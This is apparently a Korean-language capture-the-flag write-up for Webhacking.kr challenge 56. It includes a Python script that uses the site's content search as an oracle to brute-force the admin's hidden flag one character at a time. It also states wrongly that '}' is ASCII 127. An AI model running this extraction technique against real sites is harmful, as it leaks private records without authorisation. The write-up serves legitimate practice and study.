Hacking/Webhacking.kr

[WebHacking.kr] 56번

magarets 2021. 7. 19. 20:21

Webhacking.kr 56번 풀이입니다.

 

 

 

 

처음 문제에 들어오면 위와 같은 페이지가 반겨줍니다.

 

 

 

 

admin 옆에있는 readme를 클릭해보니까 접근이 제한됐다고 나오네요.?

 

 

 

 

guest 옆에있는 hi~ 를 클릭하니 이번엔 hello~ 가 나옵니다.

 

뭔가 해당 게시물에 있는 내용일 거 같네요

 

 

 

 

또 검색란이 있어서 search 란에 일단 아무거나 입력해보았습니다.

 

우선 [a]를 입력해봤는데 admin이 작성한 게시물이 나옵니다!

 

그 뒤로 정말 아무거나 입력해봤습니다.

 

혹시 id로 검색을 하나 싶어서 admin, guest 도 입력해봤고 아니면 subject로 검색을 하나 싶기도 했지만

 

 

 

 

네. 결국 다 삽질이었네요

 

search에서 검색해주는 건 id도, 제목도 아닌 글 내용이었습니다.

 

 

 

확실하게 확인!

 

역시 flag는 admin이 쓴 글 안에 있네요

 

그럼 flag위치도 알았겠다. 저걸 확인만 하면 되는데...

 

파라미터 값도 바꿔보고 온갖 삽질을 해봤지만 안됐습니다.. (5분 동안 삽질만 함)

 

혹시 글 내용을 출력해주는 거면 애초에 내가 왜 이러고 있지?

 

라는 생각이 갑자기 들더군요ㅋㅋ

 

 

 

 

역시 flag {~} 값이 글 내용으로 다 들어있었습니다.

 

 

첫 글자가 h인 것도 알아냈고요ㅎㅎ

 

몇 글자 인지도 모르는데 일일이 확인할 순 없겠죠?

 

 

import requests
url = 'https://webhacking.kr/challenge/web-33/'

answer = 'flag{'
data = {'search': ""}
for i in range(1,50): #글자수는 모름
    flag = 0
    for j in range(63, 127):
        cookies = {'PHPSESSID' : ' ??? '}
        tmp = answer
        tmp += chr(j)
        data['search'] = tmp
        response = requests.post('https://webhacking.kr/challenge/web-33/',cookies=cookies, data=data)

        if((response.text).find('admin') != -1):
            answer += chr(j)
            print(answer)
            flag = 1
            break

    if(flag != 1): #언더바 확인
        answer += '_'
        print(answer)

print(answer)

 

파이썬 코드입니다.

 

구름이가 꼰대인지 ':' 앞에 whitespace 썼다고 밑줄을 치더라고요.. 빨리 지우라고..

 

이것 말고도 많은데 정말 코딩할 때마다 느끼는 거지만 제 맥북이 그립습니다..

 

빨리 전역을 하던가 해야지

 

 

 

처음에 글자 수를 몰라서 대충 50개로 찍었는데 거의 비슷하게 맞았네요!

 

뒤에 계속 언더바가 붙는걸로 봐선 물음표 '?' 뒤로는 없나봅니다.

 

닫는 중괄호 '}' 가 아스키코드값 127이고, 언더바 '_'가 95이기 때문에 제가 짠 코드상으론 언더바가 먼저 넘겨집니다.

 

이문제에서 '_' (언더바)는 조커로 어느 문자든지 다 인식을 합니다.

 

그래서 언더바가 닫는 중괄호를 덮었네요.

 

어쨌든 플래그를 얻었습니다!!

 

그나저나 히미코 토가가 누구죠?

 

아이유가 세상에서 젤 귀여운 거 아니었나요?????